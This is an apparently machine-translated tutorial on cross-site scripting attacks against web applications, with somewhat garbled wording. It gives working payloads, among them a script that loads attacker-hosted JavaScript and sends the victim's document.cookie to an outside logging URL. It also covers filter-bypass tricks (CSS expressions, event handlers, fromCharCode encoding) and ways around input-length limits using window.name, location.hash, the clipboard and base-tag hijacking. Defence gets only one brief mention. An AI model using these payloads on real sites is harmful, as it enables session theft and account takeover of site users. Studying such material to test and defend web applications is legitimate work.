XSS cross-site scripting attack

The basic principles of XSS cross-site scripting attacks are similar to those of SQL injection attacks (in my opinion). They all use the system to execute unfiltered dangerous code, the difference is that XSS is a web script-based injection method, that is, it writes the Script attack load to the web page for execution to attack the Web Client to access users. This is a client attack. SQL injection attacks change dangerous code to executable SQL statements by bypassing normal text input to manipulate the database, so as to further detect and manipulate the database information. Is it a server attack? (Cainiao's opinion ). XSS attack Prelude (XSS bug detection) 1. The most common and classic XSS bug detection statement must be <script> alert (/XSS /) </script> ① for example, if you write a message on the message board with an XSS bug, a dialog box is displayed when you access the message board webpage: this indicates that the entered statement is written to the original webpage and executed by the browser. then we have the opportunity to execute our script attack load: <script src = http://www.labsecurity.org /Xssbug. js> </script> the xssbug. js code on our network space www.2cto.com can be Var img = document. createElement ("img"); Img. src =" http://www.labsecurity.org /Log ?" + Escape (document. cookie); document. body. appendChild (img); if the above Code is successfully executed, the login cookie on the target website will be written into the log. after obtaining the cookie, you can use the browser to resend the packet to log on to the target website as an attacker. (attackers can be common users or website super administrators ). you can change the cookie Stealing code to the address of the Downloader to download the cookie to the user's computer with the Download Vulnerability. you can also replace the Code with the data packet script for some operations performed by the target user on the website. encourage "voluntary" operations without knowledge. protection against Cookie Theft allows IP binding and other solutions. since XSS attacks exist, programmers will inevitably filter some dangerous keywords during development and limit the user input length. in this way, the xss vulnerability exists. hack can only detect, but cannot write attack loads (length limit ). the IMG Image Tag attribute can also be input in the message board as mentioned above. </img> this is not the case when a user uploads an image and changes the image path to an executable XSS test script. if the XSS vulnerability exists, such scripts will be executed. this type of scripts should be enclosed in double quotes ">" and so on. cross-site <DIV style = "width: 0; height: 0; background: url (javascript: document. body. onload = function () {alert (/XSS /);}; "> </div> use known events to attack the mobile special character <marquee> text </marquee> <marquee onstart =" alert (/XSS/) "> text </marquee> B. <div style = "onmouseenter =" alert (/XSS/) "> text </div> construct an event common event construction <font style =" TEST: e-xpression (alert (/XSS /)) "> </font> <li style =" TEST: e-xpression (alert (/XSS/) "> </li> <table style =" TEST: e-xpression (alert (/XSS/) "> </table> <a style =" TEST: e-xpression (alert (/XSS /)) "> </a> <B style =" TEST: e-xpression (alert (/XSS/) "> </B> <ul style =" TEST: e-xpression (alert (/XSS/) "> </ul> <marque tyle =" TEST: e-xpression (alert (/XSS/) "> </marq Uee> Break through the filter restrictions of programmers and use javascript line breaks and spaces to break through the filter /// use the Tab key to generate a space use the annotation to convert the code, use case-insensitive conversion to bypass filtering use the hexadecimal-encoded space carriage return JS restore function String. fromCharCode () can be used to restore an ASCII code to a String, so you can use eval (String. fromCharCode (97,108,101 .....)) break-through length limit annotator close adjacent input boxes to merge <input id = 1 type = "text" value = ""/> <input id = 2 type = "text" value = ""/> So that we can enter "> alert <! -- In the second input box, enter --> <script> (/XSS /); </script> the result is <input id = 1 type = "text" value = "" <script> alert (/XSS /) </script> "/> use the <base> label for relative path hijacking <body> <base href =" http://www.labsecurity.org "/> <body> when we do not use the base tag. js is the edevil under the root directory of the called server. js script file. after we use the <base> script. then all the relative paths after this tag are the websites we set. therefore, you can use the <base> script hijacking before writing Break through the length limit. use window. name is passed as a string and written into the following code <script> Window on our own constructed page. name = "<script src = http://www.labsecurity.org /Xss. js> <script> "Window. location =" http://www.xxxx.com/xxx.asp "</Script> our window when we jump to the target webpage. the name value is the configured XSS statement. therefore, we can use eval (name) for Cross-Site attacks. extended length using context <div id = "x"> alert % 28document. cookie % 29% 3B </div> <limited_xss_point> eval (unescape (x. innerHTML); </limited_xss_point> the above is a security data with no limit on the length, so we can use this security data below. the XSS attack breakthrough length. 5. use the data in the URL. What if the controllable HTML context data mentioned in the previous section does not exist in the page? Some data is unconditionally controllable. The first thing we think of is the URL. The code to be executed is constructed by parameters at the end of the URL, and then passed the document at the XSS point. URL/location. href and other methods to obtain code data for execution. Here we assume that the code starts from 80th characters to the end: -- code ------------------------------------------------------------------------- http://www.xssedsite.com/xssed.php?x=1....&alert (Document. cookie) <limited_xss_point> eval (document. URL. substr (80); </limited_xss_point> length: 30 <limited_xss_point> eval (location. href. substr (80); </limited_xss_point> length: 31 compared with the above two examples, the previous example is shorter. Is there a shorter method? By referring to the String method in the Javascript manual, we can find that the cut String has a shorter function slice, with five characters shorter than that of substr: <limited_xss_point> eval (document. URL. slice (80); </limited_xss_point> length: 29 <limited_xss_point> eval (location. href. slice (80); </limited_xss_point> length: 30. Can it be shorter? The answer is YES. Check the location object reference in MSND and you will find a hash member who obtains the data after #. Then we can put the code to be executed after, then, use hash to get the code for execution. Since the obtained data starts with #, you only need one slice character to get the code: http://www.xssedsite.com/xssed.php?x=1....#alert (Document. cookie) <limited_xss_point> eval (location. hash. slice (1); </limited_xss_point> length: 29, which is less than one character in the preceding example. Can it be shorter? 6. The clipboard clipboardData attacker writes the Payload into the Clipboard through clipboardData on the page of his domain, and then obtains and executes the data on the XSS page. Page constructed by attackers: -- code --------------------------------------------------------------------------- <script> clipboardData. setData ("text", "alert (document. cookie) "); </script> expose the page that is XSS: -- code reset <limited_xss_point> eval (clipboardData. getData ("text"); </limited_xss_point> bytes length: 36 this method is only applicable to the IE series, and there will be a security prompt in IE 7 and later versions.